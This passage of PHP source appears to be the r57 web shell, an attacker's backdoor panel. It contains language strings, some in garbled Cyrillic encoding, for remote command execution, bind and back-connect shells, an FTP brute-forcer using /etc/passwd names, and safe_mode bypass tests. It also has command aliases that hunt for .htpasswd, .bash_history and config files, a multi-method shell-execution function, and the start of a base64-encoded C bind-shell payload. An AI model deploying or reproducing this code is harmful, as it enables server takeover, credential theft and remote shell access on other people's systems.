  637. 'ru_text34'=>'Ïğîâåğêà âîçìîæíîñòè îáõîäà îãğàíè÷åíèé safe_mode ÷åğåç ôóíêöèş include',
  638. 'ru_text35'=>'Ïğîâåğêà âîçìîæíîñòè îáõîäà îãğàíè÷åíèé safe_mode ÷åğåç çàãğóçêó ôàéëà â mysql',
  639. 'ru_text36'=>'Áàçà',
  640. 'ru_text37'=>'Ëîãèí',
  641. 'ru_text38'=>'Ïàğîëü',
  642. 'ru_text39'=>'Òàáëèöà',
  643. 'ru_text40'=>'Äàìï òàáëèöû áàçû äàííûõ',
  644. 'ru_butt9' =>'Äàìï',
  645. 'ru_text41'=>'Ñîõğàíèòü â ôàéëå',
  646. 'ru_text42'=>'Ğåäàêòèğîâàíèå ôàéëà',
  647. 'ru_text43'=>'Ğåäàêòèğîâàòü ôàéë',
  648. 'ru_butt10'=>'Ñîõğàíèòü',
  649. 'ru_butt11'=>'Ğåäàêòèğîâàòü',
  650. 'ru_text44'=>'Ğåäàêòèğîâàíèå ôàéëà íåâîçìîæíî! Äîñòóï òîëüêî äëÿ ÷òåíèÿ!',
  651. 'ru_text45'=>'Ôàéë ñîõğàíåí',
  652. 'ru_text46'=>'Ïğîñìîòğ phpinfo()',
  653. 'ru_text47'=>'Ïğîñìîòğ íàñòğîåê php.ini',
  654. 'ru_text48'=>'Óäàëåíèå âğåìåííûõ ôàéëîâ',
  655. 'ru_text49'=>'Óäàëåíèå ñêğèïòà ñ ñåğâåğà',
  656. 'ru_text50'=>'Èíôîğìàöèÿ î ïğîöåññîğå',
  657. 'ru_text51'=>'Èíôîğìàöèÿ î ïàìÿòè',
  658. 'ru_text52'=>'Òåêñò äëÿ ïîèñêà',
  659. 'ru_text53'=>'Èñêàòü â ïàïêå',
  660. 'ru_text54'=>'Ïîèñê òåêñòà â ôàéëàõ',
  661. 'ru_butt12'=>'Íàéòè',
  662. 'ru_text55'=>'Òîëüêî â ôàéëàõ',
  663. 'ru_text56'=>'Íè÷åãî íå íàéäåíî',
  664. 'ru_text57'=>'Ñîçäàòü/Óäàëèòü Ôàéë/Äèğåêòîğèş',
  665. 'ru_text58'=>'Èìÿ',
  666. 'ru_text59'=>'Ôàéë',
  667. 'ru_text60'=>'Äèğåêòîğèş',
  668. 'ru_butt13'=>'Ñîçäàòü/Óäàëèòü',
  669. 'ru_text61'=>'Ôàéë ñîçäàí',
  670. 'ru_text62'=>'Äèğåêòîğèÿ ñîçäàíà',
  671. 'ru_text63'=>'Ôàéë óäàëåí',
  672. 'ru_text64'=>'Äèğåêòîğèÿ óäàëåíà',
  673. 'ru_text65'=>'Ñîçäàòü',
  674. 'ru_text66'=>'Óäàëèòü',
  675. 'ru_text67'=>'Chown/Chgrp/Chmod',
  676. 'ru_text68'=>'Êîìàíäà',
  677. 'ru_text69'=>'Ïàğàìåòğ1',
  678. 'ru_text70'=>'Ïàğàìåòğ2',
  679. 'ru_text71'=>"Âòîğîé ïàğàìåòğ êîìàíäû:\r\n- äëÿ CHOWN - èìÿ íîâîãî ïîëüçîâàòåëÿ èëè åãî UID (÷èñëîì) \r\n- äëÿ êîìàíäû CHGRP - èìÿ ãğóïïû èëè GID (÷èñëîì) \r\n- äëÿ êîìàíäû CHMOD - öåëîå ÷èñëî â âîñüìåğè÷íîì ïğåäñòàâëåíèè (íàïğèìåğ 0777)",
  680. 'ru_text72'=>'Òåêñò äëÿ ïîèñêà',
  681. 'ru_text73'=>'Èñêàòü â ïàïêå',
  682. 'ru_text74'=>'Èñêàòü â ôàéëàõ',
  683. 'ru_text75'=>'* ìîæíî èñïîëüçîâàòü ğåãóëÿğíîå âûğàæåíèå',
  684. 'ru_text76'=>'Ïîèñê òåêñòà â ôàéëàõ ñ ïîìîùüş óòèëèòû find',
  685. 'ru_text77'=>'Ïğîñìîòğ ñòğóêòóğû áàçû äàííûõ',
  686. 'ru_text78'=>'Ïîêàçûâàòü òàáëèöû',
  687. 'ru_text79'=>'Ïîêàçûâàòü ñòîëáöû',
  688. 'ru_text80'=>'Òèï',
  689. 'ru_text81'=>'Ñåòü',
  690. 'ru_text82'=>'Áàçû äàííûõ',
  691. 'ru_text83'=>'Âûïîëíåíèå SQL çàïğîñà',
  692. 'ru_text84'=>'SQL çàïğîñ',
  693. 'ru_text85'=>'Ïğîâåğêà âîçìîæíîñòè îáõîäà îãğàíè÷åíèé safe_mode ÷åğåç âûïîëíåíèå êîìàíä â MSSQL ñåğâåğå',
  694. 'ru_text86'=>'Ñêà÷èâàíèå ôàéëà ñ ñåğâåğà',
  695. 'ru_butt14'=>'Ñêà÷àòü',
  696. 'ru_text87'=>'Çàãğóçêà ôàéëîâ ñ óäàëåííîãî ftp-ñåğâåğà',
  697. 'ru_text88'=>'FTP-ñåğâåğ:ïîğò',
  698. 'ru_text89'=>'Ôàéë íà ftp ñåğâåğå',
  699. 'ru_text90'=>'Ğåæèì ïåğåäà÷è',
  700. 'ru_text91'=>'Àğõèâèğîâàòü â',
  701. 'ru_text92'=>'áåç àğõèâàöèè',
  702. 'ru_text93'=>'FTP',
  703. 'ru_text94'=>'FTP-áğóòôîğñ',
  704. 'ru_text95'=>'Ñïèñîê ïîëüçîâàòåëåé',
  705. 'ru_text96'=>'Íå óäàëîñü ïîëó÷èòü ñïèñîê ïîëüçîâàòåëåé',
  706. 'ru_text97'=>'Ïğîâåğåíî êîìáèíàöèé: ',
  707. 'ru_text98'=>'Óäà÷íûõ ïîäêëş÷åíèé: ',
  708. 'ru_text99'=>'* â êà÷åñòâå ëîãèíà è ïàğîëÿ èñïîëüçóåòñÿ èìÿ ïîëüçîâàòåëÿ èç /etc/passwd',
  709. 'ru_text100'=>'Îòïğàâêà ôàéëîâ íà óäàëåííûé ôòï ñåğâåğ',
  710. 'ru_text101'=>'Èñïîëüçîâàòü òàêæå ïåğåâåğíóòîå (user -> resu) èìÿ ïîëüçîâàòåëÿ â êà÷åñòâå ïàğîëÿ',
  711. 'ru_text102'=>'Ïî÷òà',
  712. 'ru_text103'=>'Îòïğàâêà ïèñüìà',
  713. 'ru_text104'=>'Îòïğàâêà ôàéëà íà ïî÷òîâûé ÿùèê',
  714. 'ru_text105'=>'Êîìó',
  715. 'ru_text106'=>'Îò',
  716. 'ru_text107'=>'Òåìà',
  717. 'ru_butt15'=>'Îòïğàâèòü',
  718. 'ru_text108'=>'Òåêñò ïèñüìà',
  719. 'ru_text109'=>'Ñâåğíóòü',
  720. 'ru_text110'=>'Ğàçâåğíóòü',
  721. /* --------------------------------------------------------------- */
  722. 'eng_text1' =>'Executed command',
  723. 'eng_text2' =>'Execute command on server',
  724. 'eng_text3' =>'Run command',
  725. 'eng_text4' =>'Work directory',
  726. 'eng_text5' =>'Upload files on server',
  727. 'eng_text6' =>'Local file',
  728. 'eng_text7' =>'Aliases',
  729. 'eng_text8' =>'Select alias',
  730. 'eng_butt1' =>'Execute',
  731. 'eng_butt2' =>'Upload',
  732. 'eng_text9' =>'Bind port to /bin/bash',
  733. 'eng_text10'=>'Port',
  734. 'eng_text11'=>'Password for access',
  735. 'eng_butt3' =>'Bind',
  736. 'eng_text12'=>'back-connect',
  737. 'eng_text13'=>'IP',
  738. 'eng_text14'=>'Port',
  739. 'eng_butt4' =>'Connect',
  740. 'eng_text15'=>'Upload files from remote server',
  741. 'eng_text16'=>'With',
  742. 'eng_text17'=>'Remote file',
  743. 'eng_text18'=>'Local file',
  744. 'eng_text19'=>'Exploits',
  745. 'eng_text20'=>'Use',
  746. 'eng_text21'=>'&nbsp;New name',
  747. 'eng_text22'=>'datapipe',
  748. 'eng_text23'=>'Local port',
  749. 'eng_text24'=>'Remote host',
  750. 'eng_text25'=>'Remote port',
  751. 'eng_text26'=>'Use',
  752. 'eng_butt5' =>'Run',
  753. 'eng_text28'=>'Work in safe_mode',
  754. 'eng_text29'=>'ACCESS DENIED',
  755. 'eng_butt6' =>'Change',
  756. 'eng_text30'=>'Cat file',
  757. 'eng_butt7' =>'Show',
  758. 'eng_text31'=>'File not found',
  759. 'eng_text32'=>'Eval PHP code',
  760. 'eng_text33'=>'Test bypass open_basedir with cURL functions',
  761. 'eng_butt8' =>'Test',
  762. 'eng_text34'=>'Test bypass safe_mode with include function',
  763. 'eng_text35'=>'Test bypass safe_mode with load file in mysql',
  764. 'eng_text36'=>'Database',
  765. 'eng_text37'=>'Login',
  766. 'eng_text38'=>'Password',
  767. 'eng_text39'=>'Table',
  768. 'eng_text40'=>'Dump database table',
  769. 'eng_butt9' =>'Dump',
  770. 'eng_text41'=>'Save dump in file',
  771. 'eng_text42'=>'Edit files',
  772. 'eng_text43'=>'File for edit',
  773. 'eng_butt10'=>'Save',
  774. 'eng_text44'=>'Can\'t edit file! Only read access!',
  775. 'eng_text45'=>'File saved',
  776. 'eng_text46'=>'Show phpinfo()',
  777. 'eng_text47'=>'Show variables from php.ini',
  778. 'eng_text48'=>'Delete temp files',
  779. 'eng_butt11'=>'Edit file',
  780. 'eng_text49'=>'Delete script from server',
  781. 'eng_text50'=>'View cpu info',
  782. 'eng_text51'=>'View memory info',
  783. 'eng_text52'=>'Find text',
  784. 'eng_text53'=>'In dirs',
  785. 'eng_text54'=>'Find text in files',
  786. 'eng_butt12'=>'Find',
  787. 'eng_text55'=>'Only in files',
  788. 'eng_text56'=>'Nothing :(',
  789. 'eng_text57'=>'Create/Delete File/Dir',
  790. 'eng_text58'=>'name',
  791. 'eng_text59'=>'file',
  792. 'eng_text60'=>'dir',
  793. 'eng_butt13'=>'Create/Delete',
  794. 'eng_text61'=>'File created',
  795. 'eng_text62'=>'Dir created',
  796. 'eng_text63'=>'File deleted',
  797. 'eng_text64'=>'Dir deleted',
  798. 'eng_text65'=>'Create',
  799. 'eng_text66'=>'Delete',
  800. 'eng_text67'=>'Chown/Chgrp/Chmod',
  801. 'eng_text68'=>'Command',
  802. 'eng_text69'=>'param1',
  803. 'eng_text70'=>'param2',
  804. 'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
  805. 'eng_text72'=>'Text for find',
  806. 'eng_text73'=>'Find in folder',
  807. 'eng_text74'=>'Find in files',
  808. 'eng_text75'=>'* you can use regexp',
  809. 'eng_text76'=>'Search text in files via find',
  810. 'eng_text77'=>'Show database structure',
  811. 'eng_text78'=>'show tables',
  812. 'eng_text79'=>'show columns',
  813. 'eng_text80'=>'Type',
  814. 'eng_text81'=>'Net',
  815. 'eng_text82'=>'Databases',
  816. 'eng_text83'=>'Run SQL query',
  817. 'eng_text84'=>'SQL query',
  818. 'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
  819. 'eng_text86'=>'Download files from server',
  820. 'eng_butt14'=>'Download',
  821. 'eng_text87'=>'Download files from remote ftp-server',
  822. 'eng_text88'=>'FTP-server:port',
  823. 'eng_text89'=>'File on ftp',
  824. 'eng_text90'=>'Transfer mode',
  825. 'eng_text91'=>'Archivation',
  826. 'eng_text92'=>'without archivation',
  827. 'eng_text93'=>'FTP',
  828. 'eng_text94'=>'FTP-bruteforce',
  829. 'eng_text95'=>'Users list',
  830. 'eng_text96'=>'Can\'t get users list',
  831. 'eng_text97'=>'checked: ',
  832. 'eng_text98'=>'success: ',
  833. 'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
  834. 'eng_text100'=>'Send file to remote ftp server',
  835. 'eng_text101'=>'Use reverse (user -> resu) login for password',
  836. 'eng_text102'=>'Mail',
  837. 'eng_text103'=>'Send email',
  838. 'eng_text104'=>'Send file to email',
  839. 'eng_text105'=>'To',
  840. 'eng_text106'=>'From',
  841. 'eng_text107'=>'Subj',
  842. 'eng_butt15'=>'Send',
  843. 'eng_text108'=>'Mail',
  844. 'eng_text109'=>'Hide',
  845. 'eng_text110'=>'Show',
  846. );
  847. /*
  848. Àëèàñû êîìàíä
  849. Ïîçâîëÿşò èçáåæàòü ìíîãîêğàòíîãî íàáîğà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàğÿ ìîåé ïğèğîäíîé ëåíè )
  850. Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû.
  851. */
  852. $aliases=array(
  853. 'find suid files'=>'find / -type f -perm -04000 -ls',
  854. 'find suid files in current dir'=>'find . -type f -perm -04000 -ls',
  855. 'find sgid files'=>'find / -type f -perm -02000 -ls',
  856. 'find sgid files in current dir'=>'find . -type f -perm -02000 -ls',
  857. 'find config.inc.php files'=>'find / -type f -name config.inc.php',
  858. 'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php',
  859. 'find config* files'=>'find / -type f -name "config*"',
  860. 'find config* files in current dir'=>'find . -type f -name "config*"',
  861. 'find all writable files'=>'find / -type f -perm -2 -ls',
  862. 'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
  863. 'find all writable directories'=>'find / -type d -perm -2 -ls',
  864. 'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
  865. 'find all writable directories and files'=>'find / -perm -2 -ls',
  866. 'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
  867. 'find all service.pwd files'=>'find / -type f -name service.pwd',
  868. 'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
  869. 'find all .htpasswd files'=>'find / -type f -name .htpasswd',
  870. 'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd',
  871. 'find all .bash_history files'=>'find / -type f -name .bash_history',
  872. 'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
  873. 'find all .mysql_history files'=>'find / -type f -name .mysql_history',
  874. 'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
  875. 'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc',
  876. 'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc',
  877. 'list file attributes on a Linux second extended file system'=>'lsattr -va',
  878. 'show opened ports'=>'netstat -an | grep -i listen',
  879. '----------------------------------------------------------------------------------------------------'=>'ls -la'
  880. );
  881. $table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b><div align=center>:: ";
  882. $table_up2 = " ::</div></b></font></td></tr><tr><td>";
  883. $table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>";
  884. $table_end1 = "</td></tr>";
  885. $arrow = " <font face=Wingdings color=gray>è</font>";
  886. $lb = "<font color=black>[</font>";
  887. $rb = "<font color=black>]</font>";
  888. $font = "<font face=Verdana size=-2>";
  889. $ts = "<table class=table1 width=100% align=center>";
  890. $te = "</table>";
  891. $fs = "<form name=form method=POST>";
  892. $fe = "</form>";
  893.  
  894. if(isset($_GET['users']))
  895. {
  896. if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  897. else
  898. {
  899. echo '<center>';
  900. foreach($users as $user) { echo $user."<br>"; }
  901. echo '</center>';
  902. }
  903. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
  904. }
  905.  
  906. if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
  907. $dir = @getcwd();
  908. $windows = 0;
  909. $unix = 0;
  910. if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1;
  911. if(empty($dir))
  912. {
  913. $os = getenv('OS');
  914. if(empty($os)){ $os = php_uname(); }
  915. if(empty($os)){ $os ="-"; $unix=1; }
  916. else
  917. {
  918. if(@eregi("^win",$os)) { $windows = 1; }
  919. else { $unix = 1; }
  920. }
  921. }
  922. if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  923. {
  924. echo $head;
  925. if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
  926. else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
  927. $sr->SearchText(0,0);
  928. $res = $sr->GetResultFiles();
  929. $found = $sr->GetMatchesCount();
  930. $titles = $sr->GetTitles();
  931. $r = "";
  932. if($found > 0)
  933. {
  934. $r .= "<TABLE width=100%>";
  935. foreach($res as $file=>$v)
  936. {
  937. $r .= "<TR>";
  938. $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
  939. $r .= ($windows)? str_replace("/","\\",$file) : $file;
  940. $r .= "</b></font></ TD>";
  941. $r .= "</TR>";
  942. foreach($v as $a=>$b)
  943. {
  944. $r .= "<TR>";
  945. $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
  946. $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
  947. $r .= "</TR>\n";
  948. }
  949. }
  950. $r .= "</TABLE>";
  951. echo $r;
  952. }
  953. else
  954. {
  955. echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
  956. }
  957. echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  958. die();
  959. }
  960. if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
  961. $SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
  962. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  963. function ws($i)
  964. {
  965. return @str_repeat("&nbsp;",$i);
  966. }
  967. function ex($cfe)
  968. {
  969. $res = '';
  970. if (!empty($cfe))
  971. {
  972. if(function_exists('exec'))
  973. {
  974. @exec($cfe,$res);
  975. $res = join("\n",$res);
  976. }
  977. elseif(function_exists('shell_exec'))
  978. {
  979. $res = @shell_exec($cfe);
  980. }
  981. elseif(function_exists('system'))
  982. {
  983. @ob_start();
  984. @system($cfe);
  985. $res = @ob_get_contents();
  986. @ob_end_clean();
  987. }
  988. elseif(function_exists('passthru'))
  989. {
  990. @ob_start();
  991. @passthru($cfe);
  992. $res = @ob_get_contents();
  993. @ob_end_clean();
  994. }
  995. elseif(@is_resource($f = @popen($cfe,"r")))
  996. {
  997. $res = "";
  998. while(!@feof($f)) { $res .= @fread($f,1024); }
  999. @pclose($f);
  1000. }
  1001. }
  1002. return $res;
  1003. }
  1004. function get_users()
  1005. {
  1006. $users = array();
  1007. $rows=file('/etc/passwd');
  1008. if(!$rows) return 0;
  1009. foreach ($rows as $string)
  1010. {
  1011. $user = @explode(":",$string);
  1012. if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1013. }
  1014. return $users;
  1015. }
  1016. function we($i)
  1017. {
  1018. if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó çàïèñàòü â ôàéë '; }
  1019. else { $text = "[-] ERROR! Can't write in file "; }
  1020. echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1021. return null;
  1022. }
  1023. function re($i)
  1024. {
  1025. if($GLOBALS['language']=="ru"){ $text = 'Îøèáêà! Íå ìîãó ïğî÷èòàòü ôàéë '; }
  1026. else { $text = "[-] ERROR! Can't read file "; }
  1027. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1028. return null;
  1029. }
  1030. function ce($i)
  1031. {
  1032. if($GLOBALS['language']=="ru"){ $text = "Íå óäàëîñü ñîçäàòü "; }
  1033. else { $text = "Can't create "; }
  1034. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>";
  1035. return null;
  1036. }
  1037. function fe($l,$n)
  1038. {
  1039. $text['ru'] = array('Íå óäàëîñü ïîäêëş÷èòüñÿ ê ftp ñåğâåğó','Îøèáêà àâòîğèçàöèè íà ftp ñåğâåğå','Íå óäàëîñü ïîìåíÿòü äèğåêòîğèş íà ftp ñåğâåğå');
  1040. $text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server');
  1041. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
  1042. return null;
  1043. }
  1044. function mr($l,$n)
  1045. {
  1046. $text['ru'] = array('Íå óäàëîñü îòïğàâèòü ïèñüìî','Ïèñüìî îòïğàâëåíî');
  1047. $text['eng'] = array('Can\'t send mail','Mail sent');
  1048. echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>";
  1049. return null;
  1050. }
  1051. function perms($mode)
  1052. {
  1053. if ($GLOBALS['windows']) return 0;
  1054. if( $mode & 0x1000 ) { $type='p'; }
  1055. else if( $mode & 0x2000 ) { $type='c'; }
  1056. else if( $mode & 0x4000 ) { $type='d'; }
  1057. else if( $mode & 0x6000 ) { $type='b'; }
  1058. else if( $mode & 0x8000 ) { $type='-'; }
  1059. else if( $mode & 0xA000 ) { $type='l'; }
  1060. else if( $mode & 0xC000 ) { $type='s'; }
  1061. else $type='u';
  1062. $owner["read"] = ($mode & 00400) ? 'r' : '-';
  1063. $owner["write"] = ($mode & 00200) ? 'w' : '-';
  1064. $owner["execute"] = ($mode & 00100) ? 'x' : '-';
  1065. $group["read"] = ($mode & 00040) ? 'r' : '-';
  1066. $group["write"] = ($mode & 00020) ? 'w' : '-';
  1067. $group["execute"] = ($mode & 00010) ? 'x' : '-';
  1068. $world["read"] = ($mode & 00004) ? 'r' : '-';
  1069. $world["write"] = ($mode & 00002) ? 'w' : '-';
  1070. $world["execute"] = ($mode & 00001) ? 'x' : '-';
  1071. if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
  1072. if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
  1073. if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
  1074. $s=sprintf("%1s", $type);
  1075. $s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
  1076. $s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
  1077. $s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
  1078. return trim($s);
  1079. }
  1080. function in($type,$name,$size,$value)
  1081. {
  1082. $ret = "<input type=".$type." name=".$name." ";
  1083. if($size != 0) { $ret .= "size=".$size." "; }
  1084. $ret .= "value=\"".$value."\">";
  1085. return $ret;
  1086. }
  1087. function which($pr)
  1088. {
  1089. $path = ex("which $pr");
  1090. if(!empty($path)) { return $path; } else { return $pr; }
  1091. }
  1092. function cf($fname,$text)
  1093. {
  1094. $w_file=@fopen($fname,"w") or we($fname);
  1095. if($w_file)
  1096. {
  1097. @fputs($w_file,@base64_decode($text));
  1098. @fclose($w_file);
  1099. }
  1100. }
  1101. function sr($l,$t1,$t2)
  1102. {
  1103. return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
  1104. }
  1105. if (!@function_exists("view_size"))
  1106. {
  1107. function view_size($size)
  1108. {
  1109. if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
  1110. elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
  1111. elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
  1112. else {$size = $size . " B";}
  1113. return $size;
  1114. }
  1115. }
  1116. function DirFiles($dir,$types='')
  1117. {
  1118. $files = Array();
  1119. if(($handle = @opendir($dir)))
  1120. {
  1121. while (FALSE !== ($file = @readdir($handle)))
  1122. {
  1123. if ($file != "." && $file != "..")
  1124. {
  1125. if(!is_dir($dir."/".$file))
  1126. {
  1127. if($types)
  1128. {
  1129. $pos = @strrpos($file,".");
  1130. $ext = @substr($file,$pos,@strlen($file)-$pos);
  1131. if(@in_array($ext,@explode(';',$types)))
  1132. $files[] = $dir."/".$file;
  1133. }
  1134. else
  1135. $files[] = $dir."/".$file;
  1136. }
  1137. }
  1138. }
  1139. @closedir($handle);
  1140. }
  1141. return $files;
  1142. }
  1143. function DirFilesWide($dir)
  1144. {
  1145. $files = Array();
  1146. $dirs = Array();
  1147. if(($handle = @opendir($dir)))
  1148. {
  1149. while (false !== ($file = @readdir($handle)))
  1150. {
  1151. if ($file != "." && $file != "..")
  1152. {
  1153. if(@is_dir($dir."/".$file))
  1154. {
  1155. $file = @strtoupper($file);
  1156. $dirs[$file] = '&lt;DIR&gt;';
  1157. }
  1158. else
  1159. $files[$file] = @filesize($dir."/".$file);
  1160. }
  1161. }
  1162. @closedir($handle);
  1163. @ksort($dirs);
  1164. @ksort($files);
  1165. $files = @array_merge($dirs,$files);
  1166. }
  1167. return $files;
  1168. }
  1169. function DirFilesR($dir,$types='')
  1170. {
  1171. $files = Array();
  1172. if(($handle = @opendir($dir)))
  1173. {
  1174. while (false !== ($file = @readdir($handle)))
  1175. {
  1176. if ($file != "." && $file != "..")
  1177. {
  1178. if(@is_dir($dir."/".$file))
  1179. $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
  1180. else
  1181. {
  1182. $pos = @strrpos($file,".");
  1183. $ext = @substr($file,$pos,@strlen($file)-$pos);
  1184. if($types)
  1185. {
  1186. if(@in_array($ext,explode(';',$types)))
  1187. $files[] = $dir."/".$file;
  1188. }
  1189. else
  1190. $files[] = $dir."/".$file;
  1191. }
  1192. }
  1193. }
  1194. @closedir($handle);
  1195. }
  1196. return $files;
  1197. }
  1198. function DirPrintHTMLHeaders($dir)
  1199. {
  1200. $pockets = '';
  1201. $handle = @opendir($dir) or die("Can't open directory $dir");
  1202. echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n";
  1203. while (false !== ($file = @readdir($handle)))
  1204. {
  1205. if ($file != "." && $file != "..")
  1206. {
  1207. if(@is_dir($dir."/".$file))
  1208. {
  1209. echo " <li><b>[ $file ]</b></li>\n";
  1210. DirPrintHTMLHeaders($dir."/".$file);
  1211. }
  1212. else
  1213. {
  1214. $pos = @strrpos($file,".");
  1215. $ext = @substr($file,$pos,@strlen($file)-$pos);
  1216. if(@in_array($ext,array('.htm','.html')))
  1217. {
  1218. $header = '-=None=-';
  1219. $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file);
  1220. for($a=0;$a<count($strings);$a++)
  1221. {
  1222. $pattern = '(<title>(.+)</title>)';
  1223. if(@eregi($pattern,$strings[$a],$pockets))
  1224. {
  1225. $header = "&laquo;".$pockets[2]."&raquo;";
  1226. break;
  1227. }
  1228. }
  1229. echo " <li>".$header."</li>\n";
  1230. }
  1231. }
  1232. }
  1233. }
  1234. echo " </ul>\n";
  1235. @closedir($handle);
  1236. }
  1237.  
  1238. class SearchResult
  1239. {
  1240. var $text;
  1241. var $FilesToSearch;
  1242. var $ResultFiles;
  1243. var $FilesTotal;
  1244. var $MatchesCount;
  1245. var $FileMatschesCount;
  1246. var $TimeStart;
  1247. var $TimeTotal;
  1248. var $titles;
  1249. function SearchResult($dir,$text,$filter='')
  1250. {
  1251. $dirs = @explode(";",$dir);
  1252. $this->FilesToSearch = Array();
  1253. for($a=0;$a<count($dirs);$a++)
  1254. $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
  1255. $this->text = $text;
  1256. $this->FilesTotal = @count($this->FilesToSearch);
  1257. $this->TimeStart = getmicrotime();
  1258. $this->MatchesCount = 0;
  1259. $this->ResultFiles = Array();
  1260. $this->FileMatchesCount = Array();
  1261. $this->titles = Array();
  1262. }
  1263. function GetFilesTotal() { return $this->FilesTotal; }
  1264. function GetTitles() { return $this->titles; }
  1265. function GetTimeTotal() { return $this->TimeTotal; }
  1266. function GetMatchesCount() { return $this->MatchesCount; }
  1267. function GetFileMatchesCount() { return $this->FileMatchesCount; }
  1268. function GetResultFiles() { return $this->ResultFiles; }
  1269. function SearchText($phrase=0,$case=0) {
  1270. $qq = @explode(' ',$this->text);
  1271. $delim = '|';
  1272. if($phrase)
  1273. foreach($qq as $k=>$v)
  1274. $qq[$k] = '\b'.$v.'\b';
  1275. $words = '('.@implode($delim,$qq).')';
  1276. $pattern = "/".$words."/";
  1277. if(!$case)
  1278. $pattern .= 'i';
  1279. foreach($this->FilesToSearch as $k=>$filename)
  1280. {
  1281. $this->FileMatchesCount[$filename] = 0;
  1282. $FileStrings = @file($filename) or @next;
  1283. for($a=0;$a<@count($FileStrings);$a++)
  1284. {
  1285. $count = 0;
  1286. $CurString = $FileStrings[$a];
  1287. $CurString = @Trim($CurString);
  1288. $CurString = @strip_tags($CurString);
  1289. $aa = '';
  1290. if(($count = @preg_match_all($pattern,$CurString,$aa)))
  1291. {
  1292. $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
  1293. $this->ResultFiles[$filename][$a+1] = $CurString;
  1294. $this->MatchesCount += $count;
  1295. $this->FileMatchesCount[$filename] += $count;
  1296. }
  1297. }
  1298. }
  1299. $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
  1300. }
  1301. }
  1302. function getmicrotime()
  1303. {
  1304. list($usec,$sec) = @explode(" ",@microtime());
  1305. return ((float)$usec + (float)$sec);
  1306. }
  1307. $port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
